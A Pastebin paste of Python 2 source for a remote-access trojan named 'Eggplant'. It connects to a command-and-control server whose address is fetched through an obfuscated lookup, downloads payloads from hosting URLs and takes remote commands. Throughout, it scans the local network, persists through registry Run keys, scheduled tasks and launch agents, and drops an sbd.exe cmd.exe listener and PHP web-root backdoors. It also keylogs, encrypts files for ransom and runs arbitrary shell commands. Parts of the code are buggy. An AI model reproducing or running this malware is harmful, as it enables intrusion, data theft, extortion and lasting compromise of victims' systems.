Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- """Standard Library"""
- import os, sys, socket, subprocess
- from base64 import b64encode, b64decode
- from binascii import hexlify, unhexlify
- from random import randrange, choice
- from platform import uname
- from time import sleep
- from Queue import Queue
- from threading import Thread, Timer, Lock
- from requests import get, utils
- from urllib import urlretrieve
- from uuid import _ipconfig_getnode, _ipconfig_getnode
- """Cryptography"""
- import Crypto.Cipher.AES as AES
- import Crypto.Hash.HMAC as HMAC
- import Crypto.Hash.SHA256 as SHA256
- from Crypto.Util.number import bytes_to_long, long_to_bytes
- """Windows Packages"""
- import _winreg, pythoncom, pyHook, win32api
- from ctypes import *
- class Eggplant(object):
- '''Eggplant factory object for creating eggplant objects'''
- def __init__(self, *args, **kwargs):
- self.targets = []
- self.ransomed = []
- self.q = Queue()
- self.lock = Lock()
- self.listener_port = 4433
- self.pstring = self._pstring()
- self.run = kwargs.get('run') if kwargs.has_key('run') else None
- self.debug = kwargs.get('debug') if kwargs.has_key('debug') else None
- self.fname = kwargs.get('fname') if kwargs.has_key('fname') else 'AdobeFlashPlayer'
- self.port_scans = dict({})
- self.files = dict({'cache':[], 'log' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self.fname + '.txt', 'net' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self._temp() + '.txt', 'srv' : 'C:\Windows\System32\drivers\etc\services' if os.name == 'nt' else '/etc/services'})
- self.services = dict({i.split()[1][:-4]:[i.split()[0],' '.join(i.split()[2:])] for i in open(self.files.get('srv')).readlines() if len(i.split())>1 if 'tcp' in i.split()[1]})
- self.persistence = dict({'scheduled tasks':[], 'hidden files':[], 'registry keys':[]}) if os.name == 'nt' else dict({'launch agents':[], 'hidden files':[]})
- self.backdoors = dict({})
- self.urls = dict({'plist':'http://elderlyeggplant.000webhostapp.com/info.plist', 'icon_icns':'http://elderlyegglant.000webhostapp.com/icon.icns', 'icon_ico':'http://elderlyegglant.000webhostapp.com', 'icon_png':'http://elderlyegglant.000webhostapp.com/icon.png', 'osx_payload':'http://elderlyegglant.000webhostapp.com/osx_payload.sh', 'linux_payload':'http://elderlyegglant.000webhostapp.com/linux_payload.php'})
- self.icon = self.wget(self.urls.get('icon_icns')) if sys.platform.startswith('darwin') else self.wget(self.urls.get('icon_ico'))
- self.filepath = sys.argv[0]
- self.mac = '-'.join(hex(_ipconfig_getnode())[2:-1][i:i+2] if hex(_ipconfig_getnode()).endswith('l') else hex(_ipconfig_getnode())[2:][i:i+2] for i in range(0,11,2)).upper() if os.name == 'nt' else uuid1().hex[20:].upper()
- self.platform = uname()[0]
- self.device = uname()[2]
- self.localhost = socket.gethostbyname(socket.gethostname())
- self.login = os.environ.get("USERNAME", failobj="Unknown")
- self.machine = os.environ.get("COMPUTERNAME", failobj="Unknown")
- self.ip = get('http://api.ipify.org').text.encode()
- self.admin = bool(windll.shell32.IsUserAnAdmin() == 0) if bool(os.name == 'nt') else bool(os.getuid() == 0)
- self.info = "\n\tClient Host Machine Information" + "\n".join(["{} : {}".format(i[0],i[1]) for i in [('Sessions',self._sessions), ('Platform',self.platform), ('IP',self.ip), ('Machine',self.machine), ('Login',self.login), ('Admin',self.admin), ('Filepath',self.filepath)] if i[1]])
- self.registration = "INSERT INTO clients (uid, sessions, ip, platform, device, machine, login, admin, fpath) VALUES ('{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')"
- self.server = {'info':get(self._deobfuscate('ZDM2ODU3MTQyY2U3NjQ3NDc3ZDBkMTg3MDIwZWIzOTNiMWI4YWE1NzcyN2YwMDUyZTAzYjdmM2I0Njc2MzEzZTk4YjdkMzIwMDY2OWM5Njk1OWIyYWM3M2RlNTI2MjJkMDc2Mzk2Mzc4NjU1ZDZhOTZjNWQ0MmEyNDk1ODY0Mjc1NGM0Y2JiM2Q3MzIzNjZiNTk4NmEyNmVkYjM4NDZjNWM1ODNkNmQ2MTJlOThmMDhhOTA2Y2Q3YjE4MTEyNmIyNGYyYWE3ZDY2OWRlNDQ3NDY4YTM4ODA2YTlhYmUwMTExYjEyN2YyYjY3N2M5ZDEzNzZkZTMyZThhNmU1ZDVkMTg3MzJiNjIyMzMxYzc3MTZhY2RkZTY0ZTc1NzczNDYyZTRkN2QyNGViOThlNTFjN2Q2NzJhOWRmNTYwMDJjOTljMzk5ZWNiNzMzYjY0YTM4YTkwNTA0MTA0YjQ3ZTM5ZDU3NWEzODk0NDFiMTYwYzU1ZDE3NWZjYTAyMjYyMDk5MjMxNGE3MGI5ODRkODA0ZWQ3MjkwZTdkZTY3MzM5N2RlYzUzMDQxYzI5YTg5ZWMzMGYwNjQ3NTViYzMzMDFkYWM1NmUxMjJlYzU2NjM0NTIyYzc0OGVjYjY0OTUzODg5YTRjNDFlNDRiNjI0NGJlYjdiMTNiOThkZGQ5YTEzMzVhZWMzYzg5NTExNDMxNzExMDJlNzcwMDc0ZDQ4MTEyYzU1MTNkNjhkOTViOWMzMzBlMjczNzI3MDgwYzNjYjYyOTcyZWVjMjMxYTIzYjBjMmExNjU4ODUzZDFhZDllMTMyODRhMTdlYjU='), headers={self._deobfuscate('MDQ0MTQ1NjAzOWQ0MTk4ZWQyNGQ0ZGE0Y2I5MDliMjYwZDI4YzVlMTE3NzllZTg='):self._deobfuscate('ZWM0OWQ0MTQ1ZTk1MTVjYjE0YTNkNzczODA4NTE2NTQxMWMyODk1OWIzNzY0ZTk1MWI1NmQxMDI2OTg0NjUzYzk4YTQwMWE3YTRkN2U4ZGQyYzM1NzQ1NGMzZWQ2Mjc2MTU1NzMwMjVkMmU3MzRkNThhYmJhOWFhNTdiZGQ5NTQ4NDVkNGVjMzY0NWVjOGM2Y2RhZDU0YjkwZTJiNjRiOTlkMDQxZWMzNzhjNzY2ZWI2NGM1NTQzZWMyYmIyZDg1NzMzYjUzNTc4YjU5YWJjOTNhMzNiOTQ1ODE4OTViZTRjYTg1MTFjMDE1ZTI1ZDM2OTM4YzgwYzU5MDQ3OGQ5M2E0MDkzODc5ZGFiZWIzYTI1Yzg1NTRiNDhmYzU0M2JlMjRkNjUyNzU1MTUxNjQ0MDc1YTQ2NjYyNTVkYjA2NGI5YmQ4MTYxOGIwNDQ5YTQyYjliMDFhMjEzYzUzMzM4NTg1NDg3MTcxOTYyMjhiYw==')}).json(), 'port':1337}
- self.connect = {'ip':self.server.get('info').get(self.server.get('info').keys()[0])[0].get('ip').encode(), 'port':self.server.get('port')}
- self.socket = self._connect()
- self.dhkey = self._diffiehellman()
- self.startup = self._startup()
- self.exit_status = self._run()
- def _startup(self):
- """Executes startup routines"""
- for task in [self._heartbeat, self._lan, self._persistence, self._enum]:
- try:
- task()
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Startup error: {}".format(str(e))
- return True
- def _fname(self):
- """Server keeps track of the current naming scheme for each client"""
- try:
- if check:
- return check
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Name error: {}".format(str(e))
- def _heartbeat(self):
- """Check-in with server every 5 minutes automatically"""
- try:
- t = Timer(300.0, self.query, args=("UPDATE clients WHERE uid='{}'".format(self.mac),), kwargs={'method':'heartbeat'})
- t.daemon = True
- t.start()
- return
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Name error: {}".format(str(e))
- def _sessions(self):
- """Session tracker"""
- self.files.update({'session':os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + '.' + self.mac + '.txt'})
- if os.path.isfile(self.files.get('session')):
- with open(self.files.get('session'), 'r') as fs:
- prev = int(fs.read())
- current = prev + 1
- else:
- current = 1
- with file(self.files.get('session'), 'w') as fp:
- fp.write(str(current))
- return str(current)
- def _pstring(self):
- """Defines template for ping arguments on the client host machine"""
- if subprocess.call('ping -n 1 localhost', 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
- return 'ping -n 1 -w 90 {}'
- else:
- return 'ping -c 1 -w 90 {}'
- def _send(self, data, method='DEFAULT'):
- """Send encrypted data to server"""
- try:
- msg = method + ' ' + self._encrypt(data)
- self.socket.sendall(msg)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Send error: {}\n".format(str(e))
- def _query(self, query, method='QUERY'):
- """Submit queries to database"""
- try:
- if method == 'heartbeat':
- t = Thread(target=self._heartbeat)
- t.daemon = True
- t.start()
- elif method == 'QUERY':
- self._send(query, method)
- ret = self.socket.recv(4096)
- if len(ret):
- self.q.put(ret)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Query eror: {}".format(str(e))
- def _register(self):
- """Register client host machine on server database"""
- self.registration = self.registration.format(self.mac, self._sessions, self.ip, self.platform, self.device, self.machine, self.login, self.admin, self.filepath)
- try:
- self._send(self.registration, method='REGISTER')
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Registration error: {}".format(str(e))
- def _pad(self, s):
- """Pad data for AES encryption"""
- if len(s) % AES.block_size == 0:
- return s
- else:
- return s + b'\0' * (AES.block_size - len(s) % AES.block_size)
- def _ping_threader(self):
- """Thread handler for bulk scanning IP addresses"""
- while True:
- worker = self.q.get()
- self._ping(worker)
- self.q.task_done()
- def _ransom_threader(self):
- """Thread handler for ransoming files"""
- while True:
- worker = self.q.get()
- self._ransom(worker)
- self.q.task_done()
- def _temp(self, base=None, case='title'):
- """Convenience name generator function"""
- names = ['Mobile', 'Resources', 'Temporary', 'Security', 'Cloud', 'Packages', 'Utilities', 'Library', 'Update', 'Settings', 'Backups', 'Icons', 'Images', 'Fonts', 'Filesystem', 'Resources', 'Defaults', 'Services', 'Version']
- if case == 'lower':
- output = str(base.lower() + choice(names).lower()) if base else choice(names).lower()
- elif case == 'title':
- output = str(base.title() + choice(names).title()) if base else choice(names).title()
- else:
- output = str(base + choice(names)) if base else choice(names)
- return output
- def _connect(self):
- """Connects to server"""
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s.connect((self.connect.get('ip'), self.connect.get('port')))
- print '[+] Connected to {}:{}...'.format(str(self.connect.get('ip')), str(self.connect.get('port')))
- return s
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Connection error: {}".format(str(e))
- sleep(10)
- self._connect()
- def _enum(self, log=True):
- """Enumerates command output from Windows Net client"""
- cmds = [('ipconfig','/all'),
- ('netstat'),
- ('net','accounts'),
- ('net','file'),
- ('net','session'),
- ('net','share'),
- ('net','user'),
- ('net','view')]
- for cmd in cmds:
- try:
- subprocess.Popen(cmd, 0, None, fp, fp, fp, shell=True)
- except: pass
- def _ping(self, host, *args):
- """Pings a machine in the local network and maps if alive"""
- if subprocess.call(self.pstring.format(host), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
- if self.debug:
- with self.lock:
- print '\nDetected active host at {}'.format(host)
- self.scan(host)
- return
- def _scan(self, host, port):
- """Port-scanner and banner-grabber"""
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- sock.connect((host,int(port)))
- banner = sock.recv(1024)
- if banner:
- info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':banner, 'state':'open'}}
- else:
- info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':self.services.get(str(port))[1], 'state':'open'}}
- self.port_scans.get(host).get('ports').update(info)
- print '\nDetected Open Port: {} ({}) on host {}'.format(str(port), self.services.get(str(port))[0], str(host))
- except: pass
- def _diffiehellman(self, bits=2048):
- """Diffie-Hellman key agreement"""
- try:
- p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
- g = 2
- a = bytes_to_long(os.urandom(32))
- xA = pow(g, a, p)
- self.socket.send(long_to_bytes(xA))
- xB = bytes_to_long(self.socket.recv(256))
- x = pow(xB, a, p)
- dh = SHA256.new(long_to_bytes(x)).digest()
- return dh
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Diffie-Hellman error: {}".format(str(e))
- return
- def _encrypt(self, plaintext):
- """AES 128-bit encryption """
- try:
- text = self._pad(plaintext)
- iv = os.urandom(AES.block_size)
- cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
- ciphertext = iv + cipher.encrypt(text)
- hmac_sha256 = HMAC.new(self.dhkey[16:], msg=ciphertext, digestmod=SHA256).digest()
- output = b64encode(ciphertext + hmac_sha256)
- return output
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Encryption error: {}".format(str(e))
- return
- def _decrypt(self, ciphertext):
- """Decrypt data encrypted with session key"""
- try:
- ciphertext = b64decode(ciphertext)
- iv = ciphertext[:AES.block_size]
- cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
- check_hmac = ciphertext[(len(ciphertext)-SHA256.digest_size):]
- calc_hmac = HMAC.new(self.dhkey[16:], msg=ciphertext[:-SHA256.digest_size], digestmod=SHA256).digest()
- output = cipher.decrypt(ciphertext[len(iv):-SHA256.digest_size]).rstrip(b'\0')
- if check_hmac != calc_hmac:
- if self.debug:
- with self.lock:
- print str("Sent HMAC-SHA256 Hash: {}".format(hexlify(check_hmac)) + "\nCalc HMAC-SHA256 Hash: {}".format(hexlify(calc_hmac)))
- return output
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Decryption error: {}".format(str(e))
- return
- def _deobfuscate(self, block):
- """Deobfuscate any obfuscated data, code, text, or files."""
- p = []
- block = b64decode(block)
- for i in xrange(2, len(block)):
- is_mul = False
- for j in p:
- if i % j == 0:
- is_mul = True
- break
- if not is_mul:
- p.append(i)
- return unhexlify(str().join(block[n] for n in p))
- def _local_network(self, *args):
- """Worker function for LAN mapping"""
- try:
- stub = '.'.join(self.localhost.split('.')[:-1])
- for i in range(1,255):
- self.q.put(stub + '.' + str(i))
- t = Thread(target=self._ping_threader)
- t.daemon = True
- t.start()
- t.join()
- return
- except Exception as e:
- if self.debug:
- with self.lock:
- print "LAN error: {}".format(str(e))
- return
- def _log(self, action):
- """Read, delete, clear, or upload standard output log"""
- try:
- if action == 'read':
- return self.cat(self.files.get('log'))
- elif action == 'delete':
- os.remove(self.files.get('log'))
- elif action == 'clear':
- with file(self.files.get('log'), 'w') as fp:
- fp.write(ctime())
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Log error: {}".format(str(e))
- def _lan(self, mode=False):
- """Map local network"""
- if not mode:
- t = Thread(target=self._local_network)
- t.start()
- t.join(timeout=120.0)
- result = ['Local Area Network']
- for ip in self.port_scans.iterkeys():
- result.append(ip)
- result.append('Port scan report for {}'.format(str(ip)))
- result.append('PORT STATE PROTOCOL SERVICE')
- for port in self.port_scans.get(ip).get('ports').iterkeys():
- port_info = self.port_scans.get(ip).get('ports').get(port)
- protocol = port_info.get('protocol')
- service = port_info.get('service')
- banner = port_info.get('banner')
- state = port_info.get('state')
- info = '{}\t{}\t{}\t{}'.format(str(port), str(state), str(protocol), str(service))
- result.append(info)
- output = "\n".join(result)
- if self.debug:
- with self.lock:
- print output
- return output
- def _persistence(self, **kwargs):
- """Establishes persistence on client host machine"""
- if os.name == 'nt':
- try:
- fpath = resource_path(sys.argv[0])
- interval = 'hourly'
- try:
- run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
- key_val = 'START /B {}'.format(sys.argv[0])
- reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_WRITE)
- _winreg.SetValueEx(reg_key, self.fname, 0, _winreg.REG_SZ, sys.argv[0])
- _winreg.CloseKey(reg_key)
- self.persistence.get('registry keys').append(key_val)
- except: pass
- try:
- direct = os.popen('attrib +s +h ' + sys.argv[0]).read()
- self.persistence.get('hidden files').append(sys.argv[0])
- except: pass
- try:
- schtask = subprocess.Popen(['schtasks','/create','/tn',self.fname,'/tr',sys.argv[0],'/sc',interval], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
- out,err = schtask.communicate()
- self.persistence.get('scheduled tasks').append(self.fname)
- except: pass
- except Exception as w:
- if self.debug:
- with self.lock:
- print "Persistence error: {}".format(str(w))
- result = "\n\n" + "\n\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.keys()]) + "\n\n"
- elif sys.platform.startswith('darwin'):
- try:
- filename = os.path.basename(sys.argv[0])
- if not filename.startswith('.'):
- hidden = '.' + filename
- os.rename(sys.argv[0], hidden)
- self.persistence.get('hidden files').append(hidden)
- except:pass
- try:
- osx_paths = ['var','tmp','lib','local','cache']
- osx_files = ['.local','.cache','.fsevents','.V100_Spotlight','.bash_profile']
- fpath = os.path.join(choice(osx_paths), choice(osx_files))
- os.makedirs(fpath) if not os.path.isdir(fpath) else None
- except:
- fpath = os.path.join(os.environ.get('TEMP', failobj=os.getcwd()), choice(osx_files))
- try:
- plist = get(self.urls.get('plist')).text.encode()
- label = choice('updates','cache','itunes','spotlight','archives')
- infoPlist = plist.replace('__LABEL__',label).replace('__SELF__', sys.argv[0])
- with file(fpath, 'w') as fp:
- fp.write(infoPlist)
- self.persistence.get('hidden files').append(fpath)
- os.chmod(fpath, 0755)
- self.persistence.get('launch agents').append('~/Library/LaunchAgents/'+ label + '.plist')
- os.startfile(fpath)
- except: pass
- result = "\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.iterkeys()])
- else:
- result = "\nPersistence not yet available for " + self.platform + "\n"
- return result
- def _backdoor(self, **kwargs):
- """Drops a backdoor on client host machine"""
- if sys.platform.startswith('darwin'):
- try:
- appname = kwargs.get('appname') if kwargs.has_key('appname') else self._temp()
- os.makedirs(os.path.join(os.getcwd(), appname + '.app/Contents/MacOS'))
- os.mkdir(os.path.join(os.getcwd(), appname + '.app/Contents/Resources'))
- payload_path = os.path.join(os.getcwd(), appname + '.app/Contents/MacOS/' + appname)
- icon_path = os.path.join(os.getcwd(), appname + '.app/Contents/Resources')
- template = self.wget(self.urls.get('osx_payload'), path=payload_path)
- icon = self.wget(self.urls.get('icon_icns'), path=icon_path)
- osx_payload = template.replace('__HOST__', self.ip).replace('__PORT__', self.listener_port).replace('__APPNAME__',appname)
- os.chmod(payload_path, 0755)
- self.backdoors.update({'app':str(os.getcwd() + os.sep + appname + '.app'), 'launch agent':str('~/Library/LaunchAgents/com.apple.'+appname)})
- return '\nBackdoor app:\t{}\nLaunch agent:\t{}\n'.format(str(os.getcwd() + os.sep + appname + '.app'), str('~Library/LaunchAgents/com.apple.' + appname))
- except Exception as y:
- if self.debug:
- with self.lock:
- print "Mac OS X backdoor error: {}".format(str(y))
- elif os.name == 'nt':
- try:
- bd = self.wget('http://' + self.connect.get('ip') + '/sbd.exe')
- _ = os.popen('attrib +s +h {}'.format(os.path.abspath(bd))).read()
- self.persistence.get('hidden files').append(bd)
- if 'Error' not in bd:
- self.backdoors.update({'sbd':bd})
- t = Thread(target=self.run_cmd, args=('start','/b','/d',os.path.dirname(bd),os.path.basename(bd),'-l','-p','4433','-c','on','-q','-D','on','-e','cmd.exe'))
- t.daemon = True
- t.start()
- try:
- tn = kwargs.get('appname') if kwargs.has_key('appname') else 'Adobe{}'.format(self._temp())
- _ = os.popen('schtasks /create /tn {} /tr {} /sc hourly'.format(tn, bd)).read()
- self.persistence.get('scheduled tasks').append(tn)
- except: pass
- return 'Success - backdoor listening on {} at port {}'.format(self.connect.get('ip'), self.connect.get('port'))
- except Exception as ee:
- if self.debug:
- with self.lock:
- print 'Windows backdoor failed with error: {}'.format(str(ee))
- return
- elif sys.platform.startswith('linux') or sys.platform.endswith('nix'):
- try:
- result = []
- if not self.backdoors.has_key('apache'):
- self.backdoors.update({'apache':[]})
- if subprocess.call('service --status-all | grep apache2',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0 and os.path.isdir('/var/www/html'):
- php = self.wget(self.urls.get('linux_payload'), path='/var/www/html/apache.php')
- self.backdoors.get('apache').append(path)
- result.append("Embedded backdoor in the Apache web server root directory: '" + path + "'")
- items = [i for i in os.listdir('/var/www/html') if os.path.isdir(i)]
- for doc in items:
- np = os.path.join(os.path.abspath(doc), 'apache.php')
- payload = self.wget(self.urls.get('linux_payload', path=np))
- result.append("Embedded backdoor in a website document root as: " + np)
- self.backdoors.get('apache').append(np)
- if subprocess.call('service apache2 start',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0:
- result.append("Apache webserver now running on client host machine...")
- return "\n".join(result)
- return
- except Exception as bderr:
- if self.debug:
- with self.lock:
- print "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
- return "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
- def _update(self, name, executable, version):
- try:
- updatePath = os.environ.get('TEMP', failobj=os.getcwd())
- updateName = os.path.join(updatePath, executable)
- getUpdate, _ = urlretrieve('http://' + self.connect.get('ip') + executable, updateName)
- except Exception as ue:
- return 'Update failed with error: {}'.format(str(ue))
- if os.name == 'nt':
- try:
- p = subprocess.Popen(['@ECHO','OFF'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
- p.communicate('start /b /d ' + updatePath + ' ' + executable)
- except Exception as f:
- if self.debug:
- with self.lock:
- return "Update failed with error: {}".format(str(f))
- elif sys.platform.starswith('darwin'):
- try:
- bundle = name.replace(' ','')
- bundleVersion = bundle + " " + version
- bundleIdentify = "com.apple." + bundle
- appPath = os.getcwd() + os.sep + bundle + '.app'
- os.makedirs(appPath + os.sep + 'Contents' + os.sep + 'MacOS')
- os.mkdir(appPath + os.sep + 'Contents' + os.sep + 'Resources')
- icon = self.wget(self.urls.get('icon_icns'), path=str(appPath + os.sep + 'Contents' + os.sep + 'Resources' + os.sep + 'icon.icns'))
- infoPlist = get(self.urls.get('plist')).text.encode() % (exe, bundleVersion, icon, bundleIdentify, bundle, bundleVersion, version)
- with file(str(appPath + os.sep + 'Contents' + os.sep + "PkgInfo"), "w") as fp:
- fp.write("APPL????")
- with file(appPath + os.sep + 'Contents' + os.sep + 'Info.plist', "w") as fw:
- fw.write(infoPlist)
- os.chmod(appPath + os.sep + 'Contents' + os.sep + 'MacOS' + os.sep + exe, 0755)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Update error: {}".format(str(e))
- return
- def _run_keylogger(self):
- """Target for keylogging threads"""
- try:
- k = os.popen('schtasks /RUN /TN ' + bname).read()
- if self.debug:
- with self.lock:
- print k
- except Exception as e:
- if self.debug:
- with self.lock:
- print 'Run keylogger command failed with error: {}'.format(str(e))
- return
- def _ransom(self, path):
- """Ransom worker function"""
- if not os.path.exists(path):
- return
- if os.path.isfile(path):
- secure = self.encrypt_file(path)
- if secure:
- self.ransomed.append(path)
- self.targets.remove(path)
- elif os.path.isdir(path):
- for i in os.listdir(path):
- secure = self.encrypt_file(path)
- if secure:
- self.ransomed.append(path)
- self.targets.remove(path)
- def _purge_regkeys(key_name):
- """Cleaner helper function for purging Windows registry keys created for persistence"""
- all_keys = self.persistence.get('registry keys').keys()
- for key in all_keys:
- value = self.persistence.get('registry keys').get(key).get('value')
- run_key = self.persistence.get('registry keys').get(key).get('key')
- try:
- reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_ALL_ACCESS)
- _winreg.DeleteValue(reg_key, value)
- _winreg.CloseKey(reg_key)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Destruct error: {}".format(str(e))
- return
- def _unschedule_tasks(self):
- """Cleaner helper function"""
- all_tasks = self.persistence.get('scheduled tasks')
- for task in all_tasks:
- try:
- delete = subprocess.Popen(['schtasks','/delete','/tn',task,'/f'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
- output,error = delete.communicate()
- if 'SUCCESS' not in output:
- if self.debug:
- print "Delete scheduled task failed to remove task with name: {}".format(task[0])
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Destruct error: {}".format(str(e))
- return
- def _remove_backdoors(self):
- """Cleaner function"""
- for bd in self.backdoors:
- if os.path.isfile(bd):
- try:
- os.remove(bd)
- except Exception as t:
- if self.debug:
- with self.lock:
- print "Remove backdoor returned error: {}".format(str(t))
- elif os.path.isdir(bd):
- if not os.name=='nt':
- try:
- r = subprocess.check_output(['rm','-rf',bd],shell=True)
- except Exception as er:
- if self.debug:
- with self.lock:
- print "Remove backdoor returned error: {}".format(str(er))
- else:
- try:
- r = subprocess.Popen(['rmdir','/s','/q',bd],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
- except Exception as p:
- if self.debug:
- with self.lock:
- print "Remove backdoor returned error: {}".format(str(p))
- return
- def _run(self):
- """Main client loop:"""
- while not self.exit_status:
- try:
- data = self._decrypt(self.socket.recv(4096))
- cmd, _, action = data.partition(' ')
- results = None
- if cmd == 'kill':
- self.socket.close()
- return 1
- elif cmd == 'selfdestruct':
- self.socket.close()
- self.destruct()
- elif cmd == 'quit':
- self.socket.shutdown(socket.SHUT_RDWR)
- self.socket.close()
- break
- elif cmd == 'log':
- results = self._log(action)
- elif cmd == 'register':
- results = self._register()
- elif cmd == 'query':
- results = self.query(action)
- elif cmd == 'info':
- results = self.get_info()
- elif cmd == 'cat':
- results = self.cat(action)
- elif cmd == 'ls':
- results = self.ls(action)
- elif cmd == 'pwd':
- results = self.pwd()
- elif cmd == 'scan':
- results = self.scan(action)
- elif cmd == 'wget':
- results = self.wget(action)
- elif cmd == 'download':
- results = self.download(action)
- elif cmd == 'upload':
- results = self.upload(action)
- elif cmd == 'update':
- results = self.update()
- elif cmd == 'persistence':
- results = self.persistent
- elif cmd == 'lan':
- results = self.lan()
- elif cmd == 'keylogger':
- results = self.keylogger(action)
- elif cmd == 'backdoor':
- results = self.backdoor()
- elif cmd == 'encrypt':
- results = self.encrypt_file(action)
- elif cmd == 'decrypt':
- results = self.decrypt_file(action)
- elif cmd == 'execute':
- results = self.execute(data)
- elif cmd == 'ransom':
- results = self.ransom(action)
- else:
- process = subprocess.Popen(data.split(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
- results = process.communicate()
- if results:
- with open(self.files.get('log'), 'a') as fp:
- fp.write(results)
- self._send(results, method=cmd)
- except Exception as e:
- return "Loop error: {}".format(str(e))
- def get_info(self):
- try:
- self._send(self.info)
- return
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Info error: {}".format(str(e))
- return
- def scan(self, host):
- """Port scanner"""
- if not utils.is_ipv4_address(host):
- return 'Error: Invalid IP address'
- self.port_scans.update({str(host):{'ports':{}}})
- for port in [21,22,23,25,53,80,110,111,135,139,143,179,443,445,514,993,995,1433,1434,1723,3306,3389,8000,8008,8443,8888]:
- t = Thread(target=self._scan, args=(host,port))
- t.daemon = True
- t.start()
- t.join()
- return
- def upload(self, host=None, user=None, password=None, local_file=None, remote_file=None):
- if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
- return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
- try:
- server = FTP(host, user, password)
- server.storbinary('STOR ' + remote_file, open(local_file,'rb'))
- return 'Upload was sucessful. File saved to {}'.format(remote_file)
- except Exception as e:
- return 'Upload failed with error: {}'.format(str(e))
- def download(self, host=None, user=None, password=None, local_file=None, remote_file=None):
- if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
- return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
- try:
- server = FTP(host, user, password)
- server.storbinary('RETR ' + remote_file, file(local_file,'wb').write)
- return 'Download was sucessful. File saved to {}'.format(os.path.abspath(local_file))
- except Exception as e:
- return 'Download failed with error: {}'.format(str(e))
- def encrypt_file(self, filename):
- """Encrypt a file on client host machine"""
- if not os.path.isfile(filename):
- return 'Error: ' + filename + ' does not exist in the host filesystem'
- filename = os.path.abspath(filename)
- try:
- with file(filename, 'r') as fp:
- with file(filename, 'w') as fc:
- fc.write(self._encrypt(fp.read()))
- return True
- except Exception as e:
- if self.debug:
- with self.lock:
- print "File encryption returned an error: {}".format(str(e))
- return False
- def decrypt_file(self, filename):
- """Decrypt a file encrypted by the client on the host machine:"""
- if not os.path.isfile(filename):
- return 'Error: ' + filename + ' does not exist in the host filesystem'
- try:
- with file(filename, 'r') as fp:
- data = fp.read()
- with file(filename, 'w') as fc:
- fc.write(self._decrypt(data))
- return True
- except Exception as e:
- if self.debug:
- with self.lock:
- print "File decryption returned an error: {}".format(str(e))
- return False
- def cat(self, file_path):
- """Emulates the UNIX command for Windows compatability with Windows"""
- if os.path.isfile(file_path):
- try:
- with open(file_path) as f:
- return f.read(4000)
- except IOError:
- return 'Error: Permission denied.'
- else:
- return 'Error: File not found.'
- def run_cmd(self, *cmd):
- """Run a terminal command + arguments."""
- if not cmd:
- return
- p = subprocess.Popen(cmd, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True)
- _, __ = p.communicate()
- return
- def execute(self, filename):
- """Run a program in a new process without waiting for process to complete. Similar to double-clicking an application icon."""
- try:
- p = os.startfile(filename)
- return
- except Exception as e:
- return "Execution error: {}".format(str(e))
- def ls(self, path='.'):
- """Emulates the UNIX command for Windows compatability with Windows"""
- if os.path.exists(path):
